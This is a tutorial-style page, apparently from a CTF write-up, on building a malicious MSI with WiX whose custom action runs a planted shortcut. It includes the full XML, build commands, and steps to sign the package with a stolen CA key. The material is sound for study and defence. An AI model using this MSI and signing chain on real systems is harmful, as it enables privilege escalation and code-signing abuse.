Creating a Custom-Action MSI with WiX
This historical Hack The Box chain used WiX Toolset v3 to build an MSI that launched a previously planted .lnk file. An MSI is not automatically privileged: execution occurs in the context selected by Windows Installer policy, the custom-action attributes, and whoever installs it. In the cited scenario, the attacker also stole a trusted signing CA and placed the signed MSI in a folder watched by another user.[1][3]
For a comprehensive understanding of wix MSI usage examples, it is advisable to consult this page. Here, you can find various examples that demonstrate the usage of wix MSI.[2]
The MSI runs C:\Users\Public\Desktop\Shortcuts\rick.lnk. The original WiX v3 XML is preserved below:[1]
<?xml version="1.0"?>
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
<Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Example Product Name"
Version="0.0.1" Manufacturer="@_xpn_" Language="1033">
<Package InstallerVersion="200" Compressed="yes" Comments="Windows Installer Package"/>
<Media Id="1" Cabinet="product.cab" EmbedCab="yes"/>
<Directory Id="TARGETDIR" Name="SourceDir">
<Directory Id="ProgramFilesFolder">
<Directory Id="INSTALLLOCATION" Name="Example">
<Component Id="ApplicationFiles" Guid="12345678-1234-1234-1234-222222222222">
</Component>
</Directory>
</Directory>
</Directory>
<Feature Id="DefaultFeature" Level="1">
<ComponentRef Id="ApplicationFiles"/>
</Feature>
<Property Id="cmdline">cmd.exe /C "c:\users\public\desktop\shortcuts\rick.lnk"</Property>
<CustomAction Id="Stage1" Execute="deferred" Directory="TARGETDIR" ExeCommand='[cmdline]' Return="ignore"
Impersonate="yes"/>
<CustomAction Id="Stage2" Execute="deferred" Script="vbscript" Return="check">
fail_here
</CustomAction>
<InstallExecuteSequence>
<Custom Action="Stage1" After="InstallInitialize"></Custom>
<Custom Action="Stage2" Before="InstallFiles"></Custom>
</InstallExecuteSequence>
</Product>
</Wix>
InstallerVersion declares the minimum Windows Installer version and Compressed="yes" marks the package as compressed. Stage1 is deferred but has Impersonate="yes", so it runs with the installing user’s impersonated token; change of privilege in this scenario came from the privileged user who later opened the MSI, not from that attribute magically granting SYSTEM.[3]
Compile the source to a WiX object with candle.exe:[1]
candle.exe -out C:\tmp\wix.wixobj C:\tmp\Ethereal\msi.xml
Link that object into an MSI with light.exe:[1]
light.exe -out C:\tmp\Ethereal\rick.msi C:\tmp\wix.wixobj
Signing step used in the original chain
The target workflow accepted packages signed by a compromised internal CA. The write-up derived a signing certificate from the recovered MyCA.cer/MyCA.pvk, created a PFX, and signed the MSI:[1]
makecert.exe -n "CN=Ethereal" -pe -cy end `
-ic C:\tmp\MyCA.cer -iv C:\tmp\MyCA.pvk -sky signature `
-sv C:\tmp\rick.pvk C:\tmp\rick.cer
pvk2pfx.exe -pvk C:\tmp\rick.pvk -spc C:\tmp\rick.cer -pfx C:\tmp\rick.pfx
signtool.exe sign /f C:\tmp\rick.pfx C:\tmp\Ethereal\rick.msi
The attacker then placed the signed package in D:\DEV\MSIs and waited for the privileged workflow/user to execute it. Preserve that precondition when adapting the technique: without an elevated installation path, unsafe policy such as AlwaysInstallElevated, or a privileged victim, this package executes only with the current user’s rights.